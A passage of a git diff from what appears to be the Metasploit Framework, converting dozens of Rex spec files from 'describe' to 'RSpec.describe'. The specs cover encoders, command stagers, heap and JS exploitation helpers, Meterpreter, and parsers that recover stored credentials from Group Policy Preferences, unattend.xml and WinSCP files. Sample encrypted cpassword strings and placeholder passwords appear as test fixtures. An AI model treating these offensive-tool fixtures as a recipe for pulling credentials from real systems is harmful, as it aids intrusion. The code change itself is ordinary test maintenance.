b/spec/lib/rex/encoder/ndr_spec.rb index 57a1f60829..64c823a407 100644 --- a/spec/lib/rex/encoder/ndr_spec.rb +++ b/spec/lib/rex/encoder/ndr_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/encoder/ndr' -describe Rex::Encoder::NDR do +RSpec.describe Rex::Encoder::NDR do describe ".align" do subject { described_class.align(string) } diff --git a/spec/lib/rex/encoder/nonalpha_spec.rb b/spec/lib/rex/encoder/nonalpha_spec.rb index 189ad049f0..7d5f5f440e 100644 --- a/spec/lib/rex/encoder/nonalpha_spec.rb +++ b/spec/lib/rex/encoder/nonalpha_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/encoder/nonalpha' -describe Rex::Encoder::NonAlpha do +RSpec.describe Rex::Encoder::NonAlpha do let(:decoder) do dec = "\x66\xB9\xFF\xFF" + diff --git a/spec/lib/rex/encoder/xdr_spec.rb b/spec/lib/rex/encoder/xdr_spec.rb index 348a9a02b3..22d5fc180f 100644 --- a/spec/lib/rex/encoder/xdr_spec.rb +++ b/spec/lib/rex/encoder/xdr_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/encoder/xdr' -describe Rex::Encoder::XDR do +RSpec.describe Rex::Encoder::XDR do describe ".encode_int" do subject(:encoded_int) { described_class.encode_int(int) } diff --git a/spec/lib/rex/encoding/xor/byte_spec.rb b/spec/lib/rex/encoding/xor/byte_spec.rb index b52f71e98b..2ae09288f9 100644 --- a/spec/lib/rex/encoding/xor/byte_spec.rb +++ b/spec/lib/rex/encoding/xor/byte_spec.rb @@ -3,6 +3,6 @@ require 'rex/encoding/xor/byte' require 'spec_helper' -describe Rex::Encoding::Xor::Byte do +RSpec.describe Rex::Encoding::Xor::Byte do it_behaves_like "an xor encoder", 1 end diff --git a/spec/lib/rex/encoding/xor/dword_spec.rb b/spec/lib/rex/encoding/xor/dword_spec.rb index 05253dd97e..ef8a548dd4 100644 --- a/spec/lib/rex/encoding/xor/dword_spec.rb +++ b/spec/lib/rex/encoding/xor/dword_spec.rb @@ -3,6 +3,6 @@ require 'rex/encoding/xor/dword' require 'spec_helper' -describe Rex::Encoding::Xor::Dword do +RSpec.describe Rex::Encoding::Xor::Dword do it_behaves_like "an xor encoder", 4 end diff --git a/spec/lib/rex/encoding/xor/qword_spec.rb b/spec/lib/rex/encoding/xor/qword_spec.rb index a8ed89bf61..853a7fb210 100644 --- a/spec/lib/rex/encoding/xor/qword_spec.rb +++ b/spec/lib/rex/encoding/xor/qword_spec.rb @@ -3,6 +3,6 @@ require 'rex/encoding/xor/qword' require 'spec_helper' -describe Rex::Encoding::Xor::Qword do +RSpec.describe Rex::Encoding::Xor::Qword do it_behaves_like "an xor encoder", 8 end diff --git a/spec/lib/rex/encoding/xor/word_spec.rb b/spec/lib/rex/encoding/xor/word_spec.rb index a14c45c837..06a8c5cc9a 100644 --- a/spec/lib/rex/encoding/xor/word_spec.rb +++ b/spec/lib/rex/encoding/xor/word_spec.rb @@ -3,6 +3,6 @@ require 'rex/encoding/xor/word' require 'spec_helper' -describe Rex::Encoding::Xor::Word do +RSpec.describe Rex::Encoding::Xor::Word do it_behaves_like "an xor encoder", 2 end diff --git a/spec/lib/rex/exploitation/cmdstager/base_spec.rb b/spec/lib/rex/exploitation/cmdstager/base_spec.rb index 7667ce19b9..edcdc1b99a 100644 --- a/spec/lib/rex/exploitation/cmdstager/base_spec.rb +++ b/spec/lib/rex/exploitation/cmdstager/base_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/exploitation/cmdstager' -describe Rex::Exploitation::CmdStagerBase do +RSpec.describe Rex::Exploitation::CmdStagerBase do let(:exe) { "MZ" } diff --git a/spec/lib/rex/exploitation/cmdstager/bourne_spec.rb b/spec/lib/rex/exploitation/cmdstager/bourne_spec.rb index 0a072db8a9..803a25f569 100644 --- a/spec/lib/rex/exploitation/cmdstager/bourne_spec.rb +++ b/spec/lib/rex/exploitation/cmdstager/bourne_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/exploitation/cmdstager' -describe Rex::Exploitation::CmdStagerBourne do +RSpec.describe Rex::Exploitation::CmdStagerBourne do let(:exe) { "MZ" } diff --git a/spec/lib/rex/exploitation/cmdstager/certutil_spec.rb b/spec/lib/rex/exploitation/cmdstager/certutil_spec.rb index 29e165cdbc..d40c9f5df8 100644 --- a/spec/lib/rex/exploitation/cmdstager/certutil_spec.rb +++ b/spec/lib/rex/exploitation/cmdstager/certutil_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/exploitation/cmdstager' -describe Rex::Exploitation::CmdStagerCertutil do +RSpec.describe Rex::Exploitation::CmdStagerCertutil do let(:exe) { "MZ" } diff --git a/spec/lib/rex/exploitation/cmdstager/debug_asm_spec.rb b/spec/lib/rex/exploitation/cmdstager/debug_asm_spec.rb index 06d53c477e..f7e8799e89 100644 --- a/spec/lib/rex/exploitation/cmdstager/debug_asm_spec.rb +++ b/spec/lib/rex/exploitation/cmdstager/debug_asm_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/exploitation/cmdstager' -describe Rex::Exploitation::CmdStagerDebugAsm do +RSpec.describe Rex::Exploitation::CmdStagerDebugAsm do let(:exe) { "MZ" } diff --git a/spec/lib/rex/exploitation/cmdstager/debug_write_spec.rb b/spec/lib/rex/exploitation/cmdstager/debug_write_spec.rb index b70e228ada..431a885ac1 100644 --- a/spec/lib/rex/exploitation/cmdstager/debug_write_spec.rb +++ b/spec/lib/rex/exploitation/cmdstager/debug_write_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/exploitation/cmdstager' -describe Rex::Exploitation::CmdStagerDebugWrite do +RSpec.describe Rex::Exploitation::CmdStagerDebugWrite do let(:exe) { "MZ" } diff --git a/spec/lib/rex/exploitation/cmdstager/echo_spec.rb b/spec/lib/rex/exploitation/cmdstager/echo_spec.rb index a3d91f2382..5bcd445fd5 100644 --- a/spec/lib/rex/exploitation/cmdstager/echo_spec.rb +++ b/spec/lib/rex/exploitation/cmdstager/echo_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/exploitation/cmdstager' -describe Rex::Exploitation::CmdStagerEcho do +RSpec.describe Rex::Exploitation::CmdStagerEcho do let(:exe) { "MZ" } diff --git a/spec/lib/rex/exploitation/cmdstager/printf_spec.rb b/spec/lib/rex/exploitation/cmdstager/printf_spec.rb index 02927f7ecb..7a86dd5538 100644 --- a/spec/lib/rex/exploitation/cmdstager/printf_spec.rb +++ b/spec/lib/rex/exploitation/cmdstager/printf_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/exploitation/cmdstager' -describe Rex::Exploitation::CmdStagerPrintf do +RSpec.describe Rex::Exploitation::CmdStagerPrintf do let(:exe) { "MZ" } diff --git a/spec/lib/rex/exploitation/cmdstager/tftp_spec.rb b/spec/lib/rex/exploitation/cmdstager/tftp_spec.rb index 813533fd4d..bd13bd7d28 100644 --- a/spec/lib/rex/exploitation/cmdstager/tftp_spec.rb +++ b/spec/lib/rex/exploitation/cmdstager/tftp_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/exploitation/cmdstager' -describe Rex::Exploitation::CmdStagerTFTP do +RSpec.describe Rex::Exploitation::CmdStagerTFTP do let(:exe) { "MZ" } diff --git a/spec/lib/rex/exploitation/cmdstager/vbs_spec.rb b/spec/lib/rex/exploitation/cmdstager/vbs_spec.rb index 9b30c4cceb..0de9fcd8d1 100644 --- a/spec/lib/rex/exploitation/cmdstager/vbs_spec.rb +++ b/spec/lib/rex/exploitation/cmdstager/vbs_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/exploitation/cmdstager' -describe Rex::Exploitation::CmdStagerVBS do +RSpec.describe Rex::Exploitation::CmdStagerVBS do let(:exe) { "MZ" } diff --git a/spec/lib/rex/exploitation/encryptjs_spec.rb b/spec/lib/rex/exploitation/encryptjs_spec.rb index ba88ab7fdd..d23541b730 100644 --- a/spec/lib/rex/exploitation/encryptjs_spec.rb +++ b/spec/lib/rex/exploitation/encryptjs_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/exploitation/encryptjs' -describe Rex::Exploitation::EncryptJS do +RSpec.describe Rex::Exploitation::EncryptJS do let(:code) { "var test = 'metasploit';" } let(:key) { 'secret' } diff --git a/spec/lib/rex/exploitation/heaplib_spec.rb b/spec/lib/rex/exploitation/heaplib_spec.rb index 50fc8751a6..951d530b1c 100644 --- a/spec/lib/rex/exploitation/heaplib_spec.rb +++ b/spec/lib/rex/exploitation/heaplib_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/exploitation/heaplib' -describe Rex::Exploitation::HeapLib do +RSpec.describe Rex::Exploitation::HeapLib do let(:custom_code) { "var test = 'metasploit';" } let(:plain_signature) { 'JavaScript Heap Exploitation library' } diff --git a/spec/lib/rex/exploitation/js/detect_spec.rb b/spec/lib/rex/exploitation/js/detect_spec.rb index 23eabd0032..577ddb2701 100644 --- a/spec/lib/rex/exploitation/js/detect_spec.rb +++ b/spec/lib/rex/exploitation/js/detect_spec.rb @@ -1,6 +1,6 @@ require 'rex/exploitation/js' -describe Rex::Exploitation::Js::Detect do +RSpec.describe Rex::Exploitation::Js::Detect do context "Class methods" do diff --git a/spec/lib/rex/exploitation/js/memory_spec.rb b/spec/lib/rex/exploitation/js/memory_spec.rb index b016bce066..1750373ff2 100644 --- a/spec/lib/rex/exploitation/js/memory_spec.rb +++ b/spec/lib/rex/exploitation/js/memory_spec.rb @@ -1,6 +1,6 @@ require 'rex/exploitation/js' -describe Rex::Exploitation::Js::Memory do +RSpec.describe Rex::Exploitation::Js::Memory do context "Class methods" do diff --git a/spec/lib/rex/exploitation/js/network_spec.rb b/spec/lib/rex/exploitation/js/network_spec.rb index 7369bc5897..34891e4866 100644 --- a/spec/lib/rex/exploitation/js/network_spec.rb +++ b/spec/lib/rex/exploitation/js/network_spec.rb @@ -1,6 +1,6 @@ require 'rex/exploitation/js' -describe Rex::Exploitation::Js::Network do +RSpec.describe Rex::Exploitation::Js::Network do context "Class methods" do diff --git a/spec/lib/rex/exploitation/js/utils_spec.rb b/spec/lib/rex/exploitation/js/utils_spec.rb index 3dcf60e7ac..240d4ad0ec 100644 --- a/spec/lib/rex/exploitation/js/utils_spec.rb +++ b/spec/lib/rex/exploitation/js/utils_spec.rb @@ -1,6 +1,6 @@ require 'rex/exploitation/js' -describe Rex::Exploitation::Js::Utils do +RSpec.describe Rex::Exploitation::Js::Utils do context "Class methods" do diff --git a/spec/lib/rex/exploitation/jsobfu_spec.rb b/spec/lib/rex/exploitation/jsobfu_spec.rb index ec56762cf6..e1f0c66085 100644 --- a/spec/lib/rex/exploitation/jsobfu_spec.rb +++ b/spec/lib/rex/exploitation/jsobfu_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'rex/exploitation/jsobfu' -describe Rex::Exploitation::JSObfu do +RSpec.describe Rex::Exploitation::JSObfu do TEST_JS = %Q| function x() { alert('1'); diff --git a/spec/lib/rex/exploitation/ropdb_spec.rb b/spec/lib/rex/exploitation/ropdb_spec.rb index 100652fa96..8a2e2aa82a 100644 --- a/spec/lib/rex/exploitation/ropdb_spec.rb +++ b/spec/lib/rex/exploitation/ropdb_spec.rb @@ -1,6 +1,6 @@ require 'rex/exploitation/ropdb' -describe Rex::Exploitation::RopDb do +RSpec.describe Rex::Exploitation::RopDb do subject(:ropdb) do described_class.new diff --git a/spec/lib/rex/file_utils_spec.rb b/spec/lib/rex/file_utils_spec.rb index 7eba3d2f0e..5f4d2deef0 100644 --- a/spec/lib/rex/file_utils_spec.rb +++ b/spec/lib/rex/file_utils_spec.rb @@ -1,6 +1,6 @@ require 'rex/file' -describe Rex::FileUtils do +RSpec.describe Rex::FileUtils do context "Class methods" do context ".normalize_win_path" do diff --git a/spec/lib/rex/image_source/disk_spec.rb b/spec/lib/rex/image_source/disk_spec.rb index a00b59360c..8273dd92a9 100644 --- a/spec/lib/rex/image_source/disk_spec.rb +++ b/spec/lib/rex/image_source/disk_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/image_source/disk' -describe Rex::ImageSource::Disk do +RSpec.describe Rex::ImageSource::Disk do let(:path) do File.join(Msf::Config.data_directory, "templates", "template_x86_windows_old.exe") diff --git a/spec/lib/rex/image_source/memory_spec.rb b/spec/lib/rex/image_source/memory_spec.rb index d2246ac83c..cec805d126 100644 --- a/spec/lib/rex/image_source/memory_spec.rb +++ b/spec/lib/rex/image_source/memory_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/image_source/memory' -describe Rex::ImageSource::Memory do +RSpec.describe Rex::ImageSource::Memory do let(:raw_data) { 'ABCDEFGHIJKLMNOP' } diff --git a/spec/lib/rex/java/serialization/builder_spec.rb b/spec/lib/rex/java/serialization/builder_spec.rb index 86e957f19c..41c39baeb8 100644 --- a/spec/lib/rex/java/serialization/builder_spec.rb +++ b/spec/lib/rex/java/serialization/builder_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/java' -describe Rex::Java::Serialization::Builder do +RSpec.describe Rex::Java::Serialization::Builder do subject(:builder) do described_class.new end diff --git a/spec/lib/rex/java/serialization/model/annotation_spec.rb b/spec/lib/rex/java/serialization/model/annotation_spec.rb index d648809fef..acd6361cd8 100644 --- a/spec/lib/rex/java/serialization/model/annotation_spec.rb +++ b/spec/lib/rex/java/serialization/model/annotation_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/java' require 'stringio' -describe Rex::Java::Serialization::Model::Annotation do +RSpec.describe Rex::Java::Serialization::Model::Annotation do subject(:annotation) do described_class.new end diff --git a/spec/lib/rex/java/serialization/model/block_data_long_spec.rb b/spec/lib/rex/java/serialization/model/block_data_long_spec.rb index 333b124551..28a72ece9a 100644 --- a/spec/lib/rex/java/serialization/model/block_data_long_spec.rb +++ b/spec/lib/rex/java/serialization/model/block_data_long_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/java' require 'stringio' -describe Rex::Java::Serialization::Model::BlockDataLong do +RSpec.describe Rex::Java::Serialization::Model::BlockDataLong do subject(:block) do described_class.new end diff --git a/spec/lib/rex/java/serialization/model/block_data_spec.rb b/spec/lib/rex/java/serialization/model/block_data_spec.rb index a328084a8c..e6c93dda3a 100644 --- a/spec/lib/rex/java/serialization/model/block_data_spec.rb +++ b/spec/lib/rex/java/serialization/model/block_data_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/java' require 'stringio' -describe Rex::Java::Serialization::Model::BlockData do +RSpec.describe Rex::Java::Serialization::Model::BlockData do subject(:block) do described_class.new end diff --git a/spec/lib/rex/java/serialization/model/class_desc_spec.rb b/spec/lib/rex/java/serialization/model/class_desc_spec.rb index 7e51a104c7..277a2fa4df 100644 --- a/spec/lib/rex/java/serialization/model/class_desc_spec.rb +++ b/spec/lib/rex/java/serialization/model/class_desc_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/java' require 'stringio' -describe Rex::Java::Serialization::Model::ClassDesc do +RSpec.describe Rex::Java::Serialization::Model::ClassDesc do subject(:class_desc) do described_class.new end diff --git a/spec/lib/rex/java/serialization/model/field_spec.rb b/spec/lib/rex/java/serialization/model/field_spec.rb index 151e8e0ad5..d8e14cd9bc 100644 --- a/spec/lib/rex/java/serialization/model/field_spec.rb +++ b/spec/lib/rex/java/serialization/model/field_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/java' require 'stringio' -describe Rex::Java::Serialization::Model::Field do +RSpec.describe Rex::Java::Serialization::Model::Field do subject(:field) do described_class.new end diff --git a/spec/lib/rex/java/serialization/model/long_utf_spec.rb b/spec/lib/rex/java/serialization/model/long_utf_spec.rb index 1e9b59d4b8..cd2891aabc 100644 --- a/spec/lib/rex/java/serialization/model/long_utf_spec.rb +++ b/spec/lib/rex/java/serialization/model/long_utf_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/java' require 'stringio' -describe Rex::Java::Serialization::Model::LongUtf do +RSpec.describe Rex::Java::Serialization::Model::LongUtf do subject(:long_utf) do described_class.new end diff --git a/spec/lib/rex/java/serialization/model/new_array_spec.rb b/spec/lib/rex/java/serialization/model/new_array_spec.rb index f4aa70d96d..16d1c28059 100644 --- a/spec/lib/rex/java/serialization/model/new_array_spec.rb +++ b/spec/lib/rex/java/serialization/model/new_array_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/java' require 'stringio' -describe Rex::Java::Serialization::Model::NewArray do +RSpec.describe Rex::Java::Serialization::Model::NewArray do subject(:new_array) do described_class.new end diff --git a/spec/lib/rex/java/serialization/model/new_class_desc_spec.rb b/spec/lib/rex/java/serialization/model/new_class_desc_spec.rb index c69a7a7b14..f3b5180d4c 100644 --- a/spec/lib/rex/java/serialization/model/new_class_desc_spec.rb +++ b/spec/lib/rex/java/serialization/model/new_class_desc_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/java' require 'stringio' -describe Rex::Java::Serialization::Model::NewClassDesc do +RSpec.describe Rex::Java::Serialization::Model::NewClassDesc do subject(:class_desc_new) do described_class.new end diff --git a/spec/lib/rex/java/serialization/model/new_enum_spec.rb b/spec/lib/rex/java/serialization/model/new_enum_spec.rb index 2c3c16e206..fd91348cc8 100644 --- a/spec/lib/rex/java/serialization/model/new_enum_spec.rb +++ b/spec/lib/rex/java/serialization/model/new_enum_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/java' require 'stringio' -describe Rex::Java::Serialization::Model::NewEnum do +RSpec.describe Rex::Java::Serialization::Model::NewEnum do subject(:new_enum) do described_class.new diff --git a/spec/lib/rex/java/serialization/model/new_object_spec.rb b/spec/lib/rex/java/serialization/model/new_object_spec.rb index 1d4779bded..5fc99e8216 100644 --- a/spec/lib/rex/java/serialization/model/new_object_spec.rb +++ b/spec/lib/rex/java/serialization/model/new_object_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/java' require 'stringio' -describe Rex::Java::Serialization::Model::NewObject do +RSpec.describe Rex::Java::Serialization::Model::NewObject do subject(:new_object) do described_class.new diff --git a/spec/lib/rex/java/serialization/model/proxy_class_desc_spec.rb b/spec/lib/rex/java/serialization/model/proxy_class_desc_spec.rb index cf9b59a94a..380d92a9af 100644 --- a/spec/lib/rex/java/serialization/model/proxy_class_desc_spec.rb +++ b/spec/lib/rex/java/serialization/model/proxy_class_desc_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/java' require 'stringio' -describe Rex::Java::Serialization::Model::ProxyClassDesc do +RSpec.describe Rex::Java::Serialization::Model::ProxyClassDesc do subject(:proxy_class_desc) do described_class.new end diff --git a/spec/lib/rex/java/serialization/model/stream_spec.rb b/spec/lib/rex/java/serialization/model/stream_spec.rb index 2bfb0d9ab1..a8b1e11d51 100644 --- a/spec/lib/rex/java/serialization/model/stream_spec.rb +++ b/spec/lib/rex/java/serialization/model/stream_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/java' require 'stringio' -describe Rex::Java::Serialization::Model::Stream do +RSpec.describe Rex::Java::Serialization::Model::Stream do subject(:stream) do described_class.new diff --git a/spec/lib/rex/java/serialization/model/utf_spec.rb b/spec/lib/rex/java/serialization/model/utf_spec.rb index 4104912f8e..be54618d83 100644 --- a/spec/lib/rex/java/serialization/model/utf_spec.rb +++ b/spec/lib/rex/java/serialization/model/utf_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/java' require 'stringio' -describe Rex::Java::Serialization::Model::Utf do +RSpec.describe Rex::Java::Serialization::Model::Utf do subject(:utf) do described_class.new end diff --git a/spec/lib/rex/mac_oui_spec.rb b/spec/lib/rex/mac_oui_spec.rb index a4f185ef5f..d065a049f8 100644 --- a/spec/lib/rex/mac_oui_spec.rb +++ b/spec/lib/rex/mac_oui_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/mac_oui' -describe Rex::Oui do +RSpec.describe Rex::Oui do describe ".lookup_oui_fullname" do subject(:oui_fullname) { described_class.lookup_oui_fullname(mac) } diff --git a/spec/lib/rex/mime/encoding_spec.rb b/spec/lib/rex/mime/encoding_spec.rb index 85f7a9fc27..2f45d9179d 100644 --- a/spec/lib/rex/mime/encoding_spec.rb +++ b/spec/lib/rex/mime/encoding_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/mime' -describe Rex::MIME::Encoding do +RSpec.describe Rex::MIME::Encoding do subject do mod = Class.new diff --git a/spec/lib/rex/mime/header_spec.rb b/spec/lib/rex/mime/header_spec.rb index e4063d86ac..38fa11218d 100644 --- a/spec/lib/rex/mime/header_spec.rb +++ b/spec/lib/rex/mime/header_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/mime' -describe Rex::MIME::Header do +RSpec.describe Rex::MIME::Header do let(:mime_headers_test) do <<-EOS diff --git a/spec/lib/rex/mime/message_spec.rb b/spec/lib/rex/mime/message_spec.rb index ec3cfc0c23..e38f03e332 100644 --- a/spec/lib/rex/mime/message_spec.rb +++ b/spec/lib/rex/mime/message_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/mime' require 'rex/text' -describe Rex::MIME::Message do +RSpec.describe Rex::MIME::Message do subject do described_class.new diff --git a/spec/lib/rex/mime/part_spec.rb b/spec/lib/rex/mime/part_spec.rb index 1f150f882f..232fbf42cd 100644 --- a/spec/lib/rex/mime/part_spec.rb +++ b/spec/lib/rex/mime/part_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/mime' -describe Rex::MIME::Part do +RSpec.describe Rex::MIME::Part do subject do described_class.new diff --git a/spec/lib/rex/ole/clsid_spec.rb b/spec/lib/rex/ole/clsid_spec.rb index 8385a57a38..904e47d48e 100644 --- a/spec/lib/rex/ole/clsid_spec.rb +++ b/spec/lib/rex/ole/clsid_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/ole' -describe Rex::OLE::CLSID do +RSpec.describe Rex::OLE::CLSID do before(:each) do Rex::OLE::Util.set_endian(Rex::OLE::LITTLE_ENDIAN) end diff --git a/spec/lib/rex/ole/difat_spec.rb b/spec/lib/rex/ole/difat_spec.rb index 82a5cc9694..617a5f32a9 100644 --- a/spec/lib/rex/ole/difat_spec.rb +++ b/spec/lib/rex/ole/difat_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/ole' -describe Rex::OLE::DIFAT do +RSpec.describe Rex::OLE::DIFAT do before(:each) do Rex::OLE::Util.set_endian(Rex::OLE::LITTLE_ENDIAN) end diff --git a/spec/lib/rex/ole/direntry_spec.rb b/spec/lib/rex/ole/direntry_spec.rb index 3b4cd58c44..07fc8d5724 100644 --- a/spec/lib/rex/ole/direntry_spec.rb +++ b/spec/lib/rex/ole/direntry_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/ole' -describe Rex::OLE::DirEntry do +RSpec.describe Rex::OLE::DirEntry do before(:each) do Rex::OLE::Util.set_endian(Rex::OLE::LITTLE_ENDIAN) end diff --git a/spec/lib/rex/ole/header_spec.rb b/spec/lib/rex/ole/header_spec.rb index 1a4a062a49..77546a4779 100644 --- a/spec/lib/rex/ole/header_spec.rb +++ b/spec/lib/rex/ole/header_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/ole' -describe Rex::OLE::Header do +RSpec.describe Rex::OLE::Header do before(:each) do Rex::OLE::Util.set_endian(Rex::OLE::LITTLE_ENDIAN) end diff --git a/spec/lib/rex/ole/minifat_spec.rb b/spec/lib/rex/ole/minifat_spec.rb index 2896073271..42181a33c6 100644 --- a/spec/lib/rex/ole/minifat_spec.rb +++ b/spec/lib/rex/ole/minifat_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/ole' -describe Rex::OLE::MiniFAT do +RSpec.describe Rex::OLE::MiniFAT do before(:each) do Rex::OLE::Util.set_endian(Rex::OLE::LITTLE_ENDIAN) end diff --git a/spec/lib/rex/ole/util_spec.rb b/spec/lib/rex/ole/util_spec.rb index f9668a97cb..54eb93b543 100644 --- a/spec/lib/rex/ole/util_spec.rb +++ b/spec/lib/rex/ole/util_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/ole' -describe Rex::OLE::Util do +RSpec.describe Rex::OLE::Util do before(:each) do Rex::OLE::Util.set_endian(Rex::OLE::LITTLE_ENDIAN) end diff --git a/spec/lib/rex/parser/group_policy_preferences_spec.rb b/spec/lib/rex/parser/group_policy_preferences_spec.rb index a2e61578a3..4b4491ce55 100644 --- a/spec/lib/rex/parser/group_policy_preferences_spec.rb +++ b/spec/lib/rex/parser/group_policy_preferences_spec.rb @@ -87,7 +87,7 @@ cpassword_win2k8 << ['EqWFlA4kn2T6PHvGi09M7seHuqCYK/slkJWIl7mK+wFSuDccBEp/4l5EuK cpassword_normal = "j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw" cpassword_bad = "blah" -describe Rex::Parser::GPP do +RSpec.describe Rex::Parser::GPP do GPP = Rex::Parser::GPP ## diff --git a/spec/lib/rex/parser/nmap_xml_spec.rb b/spec/lib/rex/parser/nmap_xml_spec.rb index d9d1b0d3bb..6ab2499053 100644 --- a/spec/lib/rex/parser/nmap_xml_spec.rb +++ b/spec/lib/rex/parser/nmap_xml_spec.rb @@ -23,7 +23,7 @@ xml = ' ' -describe Rex::Parser::NmapXMLStreamParser do +RSpec.describe Rex::Parser::NmapXMLStreamParser do parser = Rex::Parser::NmapXMLStreamParser.new total_hosts = 0 parser.on_found_host = Proc.new { |host| diff --git a/spec/lib/rex/parser/unattend_spec.rb b/spec/lib/rex/parser/unattend_spec.rb index 8e1de52e94..6de56a4ac2 100644 --- a/spec/lib/rex/parser/unattend_spec.rb +++ b/spec/lib/rex/parser/unattend_spec.rb @@ -13,7 +13,7 @@ b64 = REXML::Document.new(' OnError Administrator Fabrikam.com Password1 Install Image defaultx86 install.wim OnError 0 1 OnError 0 false 1 1 C NTFS true false OnError en-US en-US true computer1 2 2 false true Work 1 true true 32 96 1024 60 768 Password1 true</PlainText> </Password> <Description>My Local Account</Description> <DisplayName>John Smith</DisplayName> <Group>Administrators;Power Users</Group> <Name>John</Name> </LocalAccount> </LocalAccounts> <DomainAccounts> <DomainAccountList> <DomainAccount> <Name>Administrator</Name> <Group>Administrators;Power Users</Group> </DomainAccount> <Domain>Fabrikam.com</Domain> </DomainAccountList> </DomainAccounts> </UserAccounts> </component></settings></unattend>') -describe Rex::Parser::Unattend do +RSpec.describe Rex::Parser::Unattend do context "#parse" do it "returns passwords for b64" do diff --git a/spec/lib/rex/parser/winscp_spec.rb b/spec/lib/rex/parser/winscp_spec.rb index bbe41a0512..3546f11c5c 100644 --- a/spec/lib/rex/parser/winscp_spec.rb +++ b/spec/lib/rex/parser/winscp_spec.rb @@ -17,7 +17,7 @@ Password=#{PASSWORD} Shell=/bin/bash} END -describe Rex::Parser::WinSCP do +RSpec.describe Rex::Parser::WinSCP do let(:target) do d = Class.new { include Rex::Parser::WinSCP } d.new diff --git a/spec/lib/rex/payloads/meterpreter/uri_checksum_spec.rb b/spec/lib/rex/payloads/meterpreter/uri_checksum_spec.rb index 79b781efb0..6886111674 100644 --- a/spec/lib/rex/payloads/meterpreter/uri_checksum_spec.rb +++ b/spec/lib/rex/payloads/meterpreter/uri_checksum_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'rex/payloads/meterpreter/uri_checksum' -describe Rex::Payloads::Meterpreter::UriChecksum do +RSpec.describe Rex::Payloads::Meterpreter::UriChecksum do class DummyClass include Rex::Payloads::Meterpreter::UriChecksum end diff --git a/spec/lib/rex/post/meterpreter/client_core_spec.rb b/spec/lib/rex/post/meterpreter/client_core_spec.rb index 0773a58666..81364e6d2f 100644 --- a/spec/lib/rex/post/meterpreter/client_core_spec.rb +++ b/spec/lib/rex/post/meterpreter/client_core_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'rex/post/meterpreter/client_core' -describe Rex::Post::Meterpreter::ClientCore do +RSpec.describe Rex::Post::Meterpreter::ClientCore do it "should be available" do expect(described_class).to eq(Rex::Post::Meterpreter::ClientCore) diff --git a/spec/lib/rex/post/meterpreter/extensions/priv/priv_spec.rb b/spec/lib/rex/post/meterpreter/extensions/priv/priv_spec.rb index 4d336b617d..041b30b91b 100644 --- a/spec/lib/rex/post/meterpreter/extensions/priv/priv_spec.rb +++ b/spec/lib/rex/post/meterpreter/extensions/priv/priv_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' require 'rex/post/meterpreter/extension' require 'rex/post/meterpreter/extensions/priv/priv' -describe Rex::Post::Meterpreter::Extensions::Priv::Priv do +RSpec.describe Rex::Post::Meterpreter::Extensions::Priv::Priv do it "should be available" do expect(described_class).to eq(Rex::Post::Meterpreter::Extensions::Priv::Priv) diff --git a/spec/lib/rex/post/meterpreter/extensions/stdapi/ui_spec.rb b/spec/lib/rex/post/meterpreter/extensions/stdapi/ui_spec.rb index e36c742a0a..6d96811ec8 100644 --- a/spec/lib/rex/post/meterpreter/extensions/stdapi/ui_spec.rb +++ b/spec/lib/rex/post/meterpreter/extensions/stdapi/ui_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' require 'rex/post/meterpreter' require 'rex/post/meterpreter/extensions/stdapi/ui' -describe Rex::Post::Meterpreter::Extensions::Stdapi::UI do +RSpec.describe Rex::Post::Meterpreter::Extensions::Stdapi::UI do it "should be available" do expect(described_class).to eq(Rex::Post::Meterpreter::Extensions::Stdapi::UI) diff --git 